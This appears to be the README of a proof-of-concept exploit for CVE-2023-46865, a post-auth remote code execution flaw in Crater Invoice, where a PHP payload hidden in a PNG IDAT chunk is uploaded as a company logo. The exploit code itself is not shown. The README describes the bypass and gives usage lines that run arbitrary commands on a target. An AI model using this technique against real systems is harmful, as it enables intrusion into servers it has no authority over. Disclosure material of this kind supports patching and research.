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Crater-CVE-2023-46865-RCE

Crater <=6.0.6, CVE-2023-46865 Post-Auth RCE (Superadmin)

Vulnerability Description

Crater Invoice is vulnerable to unrestricted file upload with dangerous type due to lack of proper input validation. The Base64Mime checking class can be bypassed by embedding a valid PHP payload into an IDAT image chunk. A user with superadmin privileges is able to upload the crafted payload through company logo at /api/v1/company/upload-logo.

Usage

$~ usage: python3 crater-rce.py --target TARGET --email EMAIL --password PASSWORD [--cmd CMD]
$~ python3 crater-rce.py --target http://192.168.1.1 --email [email protected] --password test1234 --cmd 'whoami'  

$~ python3 crater-rce.py -h                                                                                                                                                                                       
usage: crater-rce.py [-h] --target TARGET --email EMAIL --password PASSWORD [--cmd CMD]

Crater Invoice RCE - CVE-2023-46865

options:
  -h, --help           show this help message and exit
  --target TARGET      Target URL
  --email EMAIL        Email
  --password PASSWORD  Password
  --cmd CMD            Command to execute

Tested on

- Crater 6.0.6
- Kali 6.1.0

References

https://github.com/huntergregal/PNG-IDAT-Payload-Generator

https://notes.netbytesec.com/2023/11/post-auth-rce-in-crater.html

Credit

faisalfs10x - for helping develop proof of concept.

Disclaimer:

The script is for security analysis and research only, hence I would not be liable if it is been used for illicit activities